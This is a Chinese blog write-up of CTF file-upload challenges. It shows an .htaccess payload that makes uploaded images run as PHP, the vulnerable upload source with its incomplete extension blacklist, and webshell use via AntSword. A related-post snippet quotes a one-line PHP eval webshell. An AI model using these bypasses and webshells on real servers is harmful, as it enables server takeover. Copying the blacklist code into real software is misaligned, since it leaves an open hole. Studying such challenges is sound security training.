文件上传之图片上传题目

已于 2023-03-17 01:32:08 修改
阅读量154 收藏
点赞数
分类专栏： 安全 文章标签： php
于 2023-03-16 21:20:47 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/ted_guangda/article/details/129598059
版权

[A]文件上传之图片上传题目

Give me your photo PLZ

提示

我好想看一些好康的图片呜呜

题目

在这里插入图片描述

.htaccess是Apache的又一特色。一般来说，配置文件的作用范围都是全局的，但Apache提供了一种很方便的、可作用于当前目录及其子目录的配置文件——.htaccess（分布式配置文件）

<FilesMatch "zx"> #文件中含有zx(包括后缀）
SetHandler application/x-httpd-php #当文件名中有zx则以php执行
</FilesMatch>

或者

AddType application/x-httpd-php .jpg #文件后缀为.jpg为php执行

上传 .hataccess文件

在这里插入图片描述

上传zx🐎。

在这里插入图片描述

执行php命令。

在这里插入图片描述
在这里插入图片描述

成功getshell，结束，谢谢徐师傅。

最后贴上源码：

<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>文件上传</title>
</head>
<body>
    <h1 align="center">大家好，这是一个不会写前端的web手做的图片渲染器，上传图片，我会帮你渲染出来的</h1>
    <?php
    if(!empty($_FILES)) {
        if ($_FILES["file"]["error"] > 0) {
            echo "错误：" . $_FILES["file"]["error"] . "<br>";
        } else {
            $extension = explode(".", $_FILES["file"]["name"]);
            $extension = ".".strtolower(end($extension));
            $deny_ext = array(".php", ".php5", ".php4", ".php3", ".php2", ".php1", ".html", ".htm", ".phtml", ".pht", ".pHp", ".pHp5", ".pHp4", ".pHp3", ".pHp2", ".pHp1", ".Html", ".Htm", ".pHtml", ".jsp", ".jspa", ".jspx", ".jsw", ".jsv", ".jspf", ".jtml", ".jSp", ".jSpx", ".jSpa", ".jSw", ".jSv", ".jSpf", ".jHtml", ".asp", ".aspx", ".asa", ".asax", ".ascx", ".ashx", ".asmx", ".cer", ".aSp", ".aSpx", ".aSa", ".aSax", ".aScx", ".aShx", ".aSmx", ".cEr", ".sWf", ".swf", ".ini");
            if (in_array($extension, $deny_ext)) {
                exit("上传木马可不是好习惯～～～");
            } else {
                move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . strtolower($_FILES["file"]["name"]));
                echo "<img src='upload/" . strtolower($_FILES["file"]["name"]) . "'>";
            }
        }
    }
    ?>
    <form align="center" method="post" enctype="multipart/form-data">
        <label for="file">文件名：</label>
        <input type="file" name="file" id="file">
        <input type="submit" name="submit" value="提交">
    </form>
</body>
</html>

参考链接

https://blog.csdn.net/qq_61988806/article/details/123245564

[MRCTF2020]你传你🐎呢

在这里插入图片描述

试了下，.htaccess可以上传。

所以上传

<FilesMatch "zx"> #文件中含有zx(包括后缀）
SetHandler application/x-httpd-php #当文件名中有zx则以php执行
</FilesMatch>

上传之后，再上传zx.php。

蚁剑链接即可。

出问题请看：https://blog.csdn.net/weixin_44632787/article/details/118049911

总结：操作不规范，getshell两行泪。

ca12uh
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
文件上传漏洞——.htaccess和.user.ini配置文件的应用
ximo的博客
02-15 1437
一 . htaccess配置文件 htaccess文件是Apache服务器中的一个配置文件，只对该文件所在的目录下的文件起作用。 在htaccess配置文件下有这样一条配置： AddType application/x-httpd-php .php .jpg 这条配置的意思是，php和jpg格式的文件，都会被当做php文件解析；我们可以在追加其他的后缀名，都将其解析为php文件；但是这样未免有些繁琐。 所以还有另外一条配置： SetHandler application/x-httpd-php 这条
java多线程网络编程之文件及文件夹加密上传
07-21
编写程序实现文件上传功能。 有能力的同学可以自行设计文件下载功能，但是本次作业不要求。 服务器端： 要求能运行如下程序： java FileServer port foldername 实际的运行命令可能为 java FileServer 1234 d:\\...
数据库课程设计题目.doc
01-08
《数据库原理与管理信息系统实践》选题 课程设计的主要目的是巩固应用所学的知识，锻炼和培养动手能力。本着这个思 路，所提供的课程设计选题题目要是学生比较熟悉或比较常见的应用，不需要用太 多的精力去学习理解其业务的。（具体要求见第二阶段任务） 注：小组也可以自拟选题，需经主讲教师同意 题目1：职工工资管理系统 基本功能要求： 1) 可以按照科室（经理室、财务科、技术科和销售科）增加、修改、删除职工的基本资料 2) 职工信息应包含职称，分为高级、中级、初级，同一职称职工基本工资相同 3) 职工工资由基本工资、奖金、扣除金额组成，其中奖金、扣除金额可每月输入不同数据 4) 可以计算职工每月工资 5) 可以按照科室、职称、月份统计职工工资 6) 可以按照科室、职工号、职工名称查询职工工资 题目2：商场货物管理系统 基本功能要求： 1) 商场货物可存放在多个仓库 2) 可以增加、删除、修改仓库信息 3) 可以对仓库货物信息进行增加、删除、修改 4) 可以按仓库、货物类别列出货物清单 5) 能按照仓库名称、货物类别、货物名称、编码查询货物信息 题目3：宠物商店电子商务网站 客户购物、下订单、订单处理、销售统计等功能于一体的例子。通过浏览器，让客户 可以查询宠物，把货物放入购物车，创建账户/登陆账户，创建订单，通过信用卡支付等 。 基本功能要求： 1）注册/登陆/忘记密码/管理个人信息 2）查询、删除、修改等维护宠物信息 3）接受/处理订单消息，发订单给供应商 4）销售统计 5）维护库存数据库 6）Email发送 题目4：毕业设计指导网站 毕业设计指导网站的目的是使学生和教师能够通过网络进行毕业设计辅导，这样能够 得到最新的毕业设计信息，更好的辅导效果。内容如下： 基本功能要求： 1）用户注册/登陆/忘记密码/管理个人信息 2）上传文件和下载文件 3）学生向指导教师提问、查询问题；教师回答问题 4）用户上传文件和下载文件 5）管理员管理教师和学生信息 6）查询统计数据（日问题量，答疑率） 7）群发消息 题目5：客房信息管理系统 基本功能要求： 1) 可以对客房基本信息进行增加、删除、修改 2) 客房分为三种类型：三人房、双人房、单人房，每种类型房间价位不同 3) 可以实现客户订房、退房、续房功能 4) 可以登记、查询客户基本信息 5) 可以查询房间状态信息 6) 可以实现住宿计费 题目6：汽车租赁管理系统 基本功能要求： 1) 可以对汽车基本信息进行增加、删除、修改 2) 可以对租赁客户信息进行增加、删除、修改 3) 可以实现汽车的租借、归还、续借 4) 可以按重要字段查询汽车、客户等基本信息 5) 可以实现租赁金额的计算 6) 可以查询汽车、客户租赁历史记录 题目7：网上订票系统 (要求采用B/S结构设计) 基本功能要求： 1) 可以实现订票客户网上信息登记以及修改 2) 可以查询可订票情况 3) 可以实现客户网上订票 4) 可以计算订票费用 5) 业务人员可以审核客户网上订票信息 6) 订票客户可以查询当前订票状态 题目8：实验室网上预约管理系统 (要求采用B/S结构设计) 基本功能要求： 1) 可以实现各实验室基本信息的增加、删除、修改 2) 学生可以查询实验基本信息 3) 学生可以登记基本信息 4) 学生可以实现实验室预约 5) 管理员可以审核学生预约申请 6) 学生可以查询实验室预约申请状态 题目9：高校职工通讯录管理系统 (要求采用B/S结构设计) 基本功能要求： 1)可以实现高校各部门、学院基本信息的增加、删除、修改 2)可以实现各部门、学院职工通讯方式的增加、删除、修改 3)可以查询职工通讯信息 4)可以列表输出各部门、学院职工通讯方式清单 题目10：餐厅下单管理系统 基本功能要求： 1) 可以实现菜谱基本的信息增加、删除、修改、查询 2) 可以实现顾客下单信息的增加、删除、修改、查询 3) 可以实现顾客下单金额折扣计算 4) 可以实现顾客下单明细的列表输出 题目11：高校设备管理系统 基本功能要求： 1) 可以实现高校部门、学院基本信息的增加、删除、修改 2) 可以实现设备基本信息的增加、删除、修改 3) 可以查询设备基本信息 4) 可以汇总输出各单位所属设备清单以及总金额 题目12：在线答疑系统 (要求采用B/S结构设计) 基本功能要求： 1) 可以实现学生基本信息的增加、删除、修改 2) 学生可以在线提问、修改提问 3) 教师可以回复、删除学生提问 4) 可以查询学生提问信息 5) 可以列表输出问题清单 题目13：在线新闻管理系统 (要求采用B/S结构设计) 基本功能要求： 1) 可以实现新闻类别信息的增加、删除、修改 2) 可以实现新闻基本信息的增加、删除、修改 3) 可以实现新闻列表输出 4) 可以浏览新闻详细信息
让apache解析html里的PHP代码
李焕亮
07-08 1万+
一、打开httpd.conf配置文件，找到以下语句加入.html或者.htm   AddType application/x-httpd-php .html .htm .php .phtml   AddType application/x-httpd-php-source .html .htm .phps   然后重启apache试试在html里加入的代码运行一下
php5.4.11 x64(64bit)for windows 的下载地址
gxiipp的专栏
02-17 865
http://www.anindya.com/ ------------------------------------------------------------- php.ini-development 适合开发程式使用（测试用） php.ini-production 拥有较高的安全性设定，则适合上线当产品使用 一般将php.ini-production修改为p
BUUCTF学习笔记-BabyUpLoad
Emmawas的博客
09-28 688
考点：.htaccess绕过，文件内容为 AddType application/x-httpd-php .jpg，讲jpg文件按照php文件使用
Python中常见文件操作,纯干货
a1309525802的博客
09-04 6436
Python文件操作一、关于文件二、读写文件简单操作三、文件权限四、文件高级操作五、大文件的读取基本方法常用函数 一、关于文件 文件的作用：把一些数据储存起来 使用文件流程： 打开文件，读写文件，关闭文件 二、读写文件简单操作 1.读取文件 #打开文件 file = open("demo1/1.txt",mode="r") #读取文件 ret = file.read() #file只是变量，read是读取函数 print(ret) #关闭文件 file.close() #第一个参数的文件的路
文件上传漏洞学习
weixin_45437468的博客
08-21 1096
一句话木马 <?php @eval($_POST[pass]); ?> 上传一句话木马文件的普通方式都不可以，发现可以上传jpg木马，jpg木马他也进行内容绕过，不能含有<?，但是可以构造其他的，然后还要添加GIF89a进行伪装； 图片马制作 Mac系统和Linux系统 首先在桌面上创建file1.txt并在里面写入一句话木马，下载file2.jpg， 然后，打开终端，cd 到desktop 将file1.txt追加到file2.jpg后面的方法： cat file1.
文件上传漏洞详解 一文了解文件上传漏洞
闵行小鱼塘
09-29 2125
刷完了upload-labs，对文件上传漏洞有了些许认识，在此做个小结与记录
apache配置文件AddType application/x-httpd-php .php
热门推荐
tech
05-16 2万+
source: http://laoxiege.blog.sohu.com/116742025.html AddType application/x-httpd-php .php 　　加入“AddType application/x-httpd-php .php”、 　　“AddType application/x-httpd-php .html”两行， 　　你也可以加
文件上传漏洞及绕过方法笔记
m0_53820621的博客
09-01 743
文件上传漏洞及绕过方法个人笔记。
3.18号日报，ctfhub中web，文件上传漏洞题目解法
最新发布
03-18
文件上传漏洞
java实现读取word文件并且上传到数据库
08-09
用java语言实现对word表格操作，实现自动批量往数据库中插入数据，节省插入数据时间。
28.文件上传漏洞和Caidao入门及防御原理（一）1
08-04
声明：本人坚决反对利用教学方法进行犯罪的行为，一切犯罪行为必将受到严惩，绿色网络需要我们共同维护，更推荐大家了解它们背后的原理，更好地进行防护。一.文件上传漏洞
B.pcap数据包分析题目.zip
10-14
1.通过分析虚拟机windows7...5.通过分析数据包B.pcapng，找到黑客通过一句话木马上传的第一个文件是什么，将文件名作为FLAG提交； 6.通过分析数据包B.pcapng，找到黑客从服务器上下载的文件，将文件内容作为FLAG提交
简单粗暴的文件上传漏洞
hl1293348082的专栏
05-30 1497
文件上传漏洞可以说是日常渗透测试用得最多的一个漏洞，因为用它获得服务器权限最快最直接。但是想真正把这个漏洞利用好却不那么容易，其中有很多技巧，也有很多需要掌握的知识。俗话说，知己知彼方能百战不殆，因此想要研究怎么防护漏洞，就要了解怎么去利用。 特点 1、利用简单 2、危害大 产生原因 缺少必要的校验 代码审计 基础 关于 PHP 中 $_FILES 数组的使用方法 $_FILES[‘file’][‘name’] 客户端文件名称 $_FILES[‘file’][‘type’] 文件的
.htaccess利用方式
LYJ20010728的博客
05-08 1628
.htaccess利用方式文件解析文件包含源码泄露代码执行命令执行XSS自定义错误文件 文件解析 经常出现在文件上传的黑名单没有限制 .htaceess 后缀，通过上传 .htaccess 文件，再上传图片，使图片的 php 恶意代码得以被解析执行 .htaccess 文件内容有如下两种 (1)SetHandler 指令 # 将images.png 当做 PHP 执行 <FilesMatch "images.png"> SetHandler application/x-httpd-ph
CTFShow-WEB入门篇文件上传详细Wp(151-170)
Aluxian_的博客
07-16 1965
【代码】CTFShow-WEB入门篇文件上传详细Wp(115-170)
les/mod_proxy_fcgi.so <IfModule dir_module> DirectoryIndex index.html index.php </IfModule> AddType application/x-httpd-php .php ProxyRequests off ProxyPassMatch ^/(.*.php)$ fcgi://192.168.200.102:9000/var/www/html/$1 这一段应该加到哪个具体位置？
06-11
这段代码应该添加到 Apache 的虚拟主机配置文件中。 如果你使用的是 Ubuntu 或 Debian 等基于 Debian 的 Linux 发行版，则可以在 `/etc/apache2/sites-available/` 目录下找到虚拟主机配置文件。如果你使用的是 CentOS 或 Fedora 等基于 Red Hat 的 Linux 发行版，则可以在 `/etc/httpd/conf.d/` 目录下找到虚拟主机配置文件。 你需要找到与你的网站域名相关联的虚拟主机配置文件，然后将这段代码添加到 `<VirtualHost>` 标签内的适当位置。具体来说，可以在 `<VirtualHost>` 标签内添加以下内容： ``` <IfModule mod_proxy_fcgi.c> <FilesMatch \.php$> SetHandler "proxy:fcgi://127.0.0.1:9000" </FilesMatch> </IfModule> ``` 请将 `127.0.0.1:9000` 替换为你 PHP FastCGI 进程监听的 IP 地址和端口号。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值